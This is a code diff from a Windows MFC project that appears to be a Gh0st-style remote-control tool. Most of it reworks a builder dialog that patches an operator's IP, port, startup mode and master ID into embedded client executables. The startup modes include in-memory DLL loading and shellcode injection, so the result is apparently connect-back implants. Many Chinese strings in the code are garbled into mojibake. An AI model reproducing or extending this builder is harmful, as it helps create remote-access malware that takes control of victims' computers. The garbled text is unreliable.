AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
SAFE_DELETE_ARRAY(curEXE);
return;
}
if (ret == IDOK)
{
CString name = fileDlg.GetPathName();
CFile File;
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
if (!r) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD>򴴽<EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
SAFE_DELETE_ARRAY(curEXE);
return;
}
File.Write(curEXE, size);
File.Close();
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + name, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}
SAFE_DELETE_ARRAY(curEXE);
}

View File

@@ -78,7 +78,7 @@ public:
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
BOOL isClosed; BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[4]; CBitmap m_bmOnline[4];
bool CheckValid(); bool CheckValid();
afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnTimer(UINT_PTR nIDEvent);
@@ -123,4 +123,5 @@ public:
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnOnlineShare(); afx_msg void OnOnlineShare();
afx_msg void OnToolAuth(); afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster();
}; };

View File

@@ -101,12 +101,14 @@
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -128,12 +130,14 @@
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild> <MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -156,6 +160,7 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -164,6 +169,7 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -187,6 +193,7 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling> <StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
@@ -195,6 +202,7 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
</Link> </Link>
<Midl> <Midl>
<MkTypLibCompatible>false</MkTypLibCompatible> <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -207,8 +215,12 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\ServerDll.dll" /> <None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" /> <None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="res\1.cur" /> <None Include="res\1.cur" />
<None Include="res\2.cur" /> <None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>

View File

@@ -7,14 +7,51 @@
#include "afxdialogex.h" #include "afxdialogex.h"
#include <io.h> #include <io.h>
#define OTHER_ITEM 3 enum Index
{
IndexTestRun_DLL,
IndexTestRun_MemDLL,
IndexTestRun_InjSC,
IndexGhost,
IndexServerDll,
OTHER_ITEM
};
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
std::string GetMasterId();
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
LPBYTE ReadResource(int resourceId, DWORD &dwSize) {
dwSize = 0;
auto id = resourceId;
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
if (hResource == NULL) {
return NULL;
}
// <20><>ȡ<EFBFBD><C8A1>Դ<EFBFBD>Ĵ<EFBFBD>С
dwSize = SizeofResource(NULL, hResource);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
if (hLoadedResource == NULL) {
return NULL;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD>ȡָ<C8A1><D6B8><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>ݵ<EFBFBD>ָ<EFBFBD><D6B8>
LPVOID pData = LockResource(hLoadedResource);
if (pData == NULL) {
return NULL;
}
auto r = new BYTE[dwSize];
memcpy(r, pData, dwSize);
return r;
}
CBuildDlg::CBuildDlg(CWnd* pParent) CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent) : CDialog(CBuildDlg::IDD, pParent)
, m_strIP(_T("")) , m_strIP(_T(""))
@@ -33,8 +70,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem); DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
} }
@@ -49,152 +86,164 @@ END_MESSAGE_MAP()
void CBuildDlg::OnBnClickedOk() void CBuildDlg::OnBnClickedOk()
{ {
CFile File;
char szTemp[MAX_PATH];
ZeroMemory(szTemp,MAX_PATH);
CString strCurrentPath;
CString strFile;
CString strSeverFile;
BYTE * szBuffer=NULL;
DWORD dwFileSize;
UpdateData(TRUE); UpdateData(TRUE);
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
return;
BYTE* szBuffer = NULL;
DWORD dwFileSize = 0;
int index = m_ComboExe.GetCurSel(), typ=index; int index = m_ComboExe.GetCurSel(), typ=index;
int is64bit = m_ComboBits.GetCurSel() == 0;
if (index == IndexTestRun_InjSC && !is64bit) {
MessageBox("Shellcode ֻ<><D6BB><EFBFBD><EFBFBD>64λ<34><CEBB><EFBFBD>±<EFBFBD>ע<EFBFBD>룬ע<EBA3AC><D7A2><EFBFBD><EFBFBD>Ҳֻ<D2B2><D6BB><EFBFBD><EFBFBD>64λ!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return;
}
int startup = Startup_DLL;
CString file; CString file;
switch (index) switch (index)
{ {
case CLIENT_TYPE_DLL: case IndexTestRun_DLL: case IndexTestRun_MemDLL: case IndexTestRun_InjSC:
file = "TestRun.exe"; file = "TestRun.exe";
typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL;
startup = std::map<int, int>{
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
}[index];
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break; break;
case CLIENT_TYPE_ONE: case IndexGhost:
file = "ghost.exe"; file = "ghost.exe";
typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break; break;
case CLIENT_TYPE_MODULE: case IndexServerDll:
file = "ServerDll.dll"; file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
break; break;
case OTHER_ITEM: case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file); m_OtherItem.GetWindowTextA(file);
typ = -1; typ = -1;
if (file != "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") {
CFile File;
File.Open(file, CFile::modeRead | CFile::typeBinary);
dwFileSize = File.GetLength();
if (dwFileSize > 0) {
szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
}
File.Close();
}
break;
}
default: default:
break; break;
} }
if (file.IsEmpty() || file == "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>") if (szBuffer == NULL)
{ {
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD>!"); MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return CDialog::OnOK(); return;
} }
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ////////////////////// //////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ}; CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup };
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
if (!g_ConnectAddress.IsValid()) if (!g_ConnectAddress.IsValid()) {
SAFE_DELETE_ARRAY(szBuffer);
return; return;
}
try try
{ {
//<EFBFBD>˴<EFBFBD><EFBFBD>õ<EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD>±<EFBFBD>ʶ
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
bool bFind = false;
int bufSize = dwFileSize;
while (ptr < end) {
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
if (iOffset == -1)
break;
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
if (result != -2 && result <= 0)// <20>ͻ<EFBFBD><CDBB>˰汾<CBB0><E6B1BE><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>
{
bFind = true;
auto master = GetMasterId();
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
}
ptr += iOffset + sizeof(g_ConnectAddress);
bufSize -= iOffset + sizeof(g_ConnectAddress);
}
if (!bFind) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
SAFE_DELETE_ARRAY(szBuffer);
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
char path[_MAX_PATH], * p = path; char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path)); GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p; while (*p) ++p;
while ('\\' != *p) --p; while ('\\' != *p) --p;
strcpy(p + 1, file.GetString()); strcpy(p + 1, file.GetString());
strFile = typ != -1 ? path : file; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> CString strSeverFile = typ != -1 ? path : file;
if (_access(strFile, 0) == -1)
{
MessageBox(CString(strFile) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return CDialog::OnOK();
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
dwFileSize=File.GetLength();
szBuffer=new BYTE[dwFileSize];
ZeroMemory(szBuffer,dwFileSize);
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
File.Read(szBuffer,dwFileSize);
File.Close();
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen());
if (iOffset==-1)
{
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
return;
}
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(),
dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) {
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
return;
}
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
//<2F><><EFBFBD><EFBFBD>ļ<EFBFBD>
if (index == CLIENT_TYPE_MODULE)
{
strcpy(p + 1, "ClientDemo.dll");
}
else {
strcpy(p + 1, "ClientDemo.exe");
}
strSeverFile = typ != -1 ? path : file;
DeleteFileA(strSeverFile); DeleteFileA(strSeverFile);
CFile File;
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
if (!r) { if (!r) {
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!"); MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴴽<EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + strSeverFile, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
return CDialog::OnOK(); SAFE_DELETE_ARRAY(szBuffer);
return;
} }
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
File.Write(szBuffer, dwFileSize); File.Write(szBuffer, dwFileSize);
File.Close(); File.Close();
delete[] szBuffer; CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڡ<CBBF>" :
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile); index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
SAFE_DELETE_ARRAY(szBuffer);
if (index == IndexTestRun_DLL) return;
} }
catch (CMemoryException* e) catch (CMemoryException* e)
{ {
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ڴ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
catch (CFileException* e) catch (CFileException* e)
{ {
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
catch (CException* e) catch (CException* e)
{ {
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"); char err[100];
e->GetErrorMessage(err, sizeof(err));
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>", MB_ICONERROR);
} }
SAFE_DELETE_ARRAY(szBuffer);
CDialog::OnOK(); CDialog::OnOK();
} }
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
{
int i,j;
if (iKeySize == 0||iBufferSize==0)
{
return -1;
}
for (i = 0; i < iBufferSize; ++i)
{
for (j = 0; j < iKeySize; j ++)
if (szBuffer[i+j] != Key[j]) break;
if (j == iKeySize) return i;
}
return -1;
}
BOOL CBuildDlg::OnInitDialog() BOOL CBuildDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe"); m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <20><><EFBFBD><EFBFBD>DLL");
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe"); m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <20>ڴ<EFBFBD>DLL");
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>");
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>")); m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
m_ComboExe.SetCurSel(0); m_ComboExe.SetCurSel(0);
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>"); m_ComboBits.InsertString(0, "64λ");
m_ComboEncrypt.InsertString(1, "XOR"); m_ComboBits.InsertString(1, "32λ");
m_ComboEncrypt.SetCurSel(0); m_ComboBits.SetCurSel(0);
m_ComboEncrypt.EnableWindow(FALSE);
m_OtherItem.ShowWindow(SW_HIDE); m_OtherItem.ShowWindow(SW_HIDE);
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control

View File

@@ -27,7 +27,8 @@ public:
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
Buffer Encrypt(BYTE* buffer, int len, int method); Buffer Encrypt(BYTE* buffer, int len, int method);
CComboBox m_ComboExe; CComboBox m_ComboExe;
CComboBox m_ComboEncrypt;
afx_msg void OnCbnSelchangeComboExe(); afx_msg void OnCbnSelchangeComboExe();
CStatic m_OtherItem; CStatic m_OtherItem;
CComboBox m_ComboBits;
}; };

View File

@@ -11,12 +11,24 @@
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
// 主控程序唯一标识
char g_MasterID[100] = { PWD_HASH256 };
std::string GetPwdHash(){
return g_MasterID;
}
std::string GetMasterId() {
static auto id = std::string(g_MasterID).substr(0, 16);
return id;
}
CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/) CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_PASSWORD, pParent) : CDialogEx(IDD_DIALOG_PASSWORD, pParent)
, m_sDeviceID(_T("")) , m_sDeviceID(_T(""))
, m_sPassword(_T("")) , m_sPassword(_T(""))
{ {
m_hIcon = nullptr;
} }
CPasswordDlg::~CPasswordDlg() CPasswordDlg::~CPasswordDlg()
@@ -101,7 +113,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
UpdateData(TRUE); UpdateData(TRUE);
if (m_sUserPwd.IsEmpty())return; if (m_sUserPwd.IsEmpty())return;
std::string pwdHash = hashSHA256(m_sUserPwd.GetString()); std::string pwdHash = hashSHA256(m_sUserPwd.GetString());
if (pwdHash != PWD_HASH256) { if (pwdHash != GetPwdHash()) {
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str()); Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING); MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
return; return;
@@ -109,7 +121,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
CString strBeginDate = m_StartTm.Format("%Y%m%d"); CString strBeginDate = m_StartTm.Format("%Y%m%d");
CString strEndDate = m_ExpireTm.Format("%Y%m%d"); CString strEndDate = m_ExpireTm.Format("%Y%m%d");
// 密码形式20250209 - 20350209: SHA256 // 密码形式20250209 - 20350209: SHA256
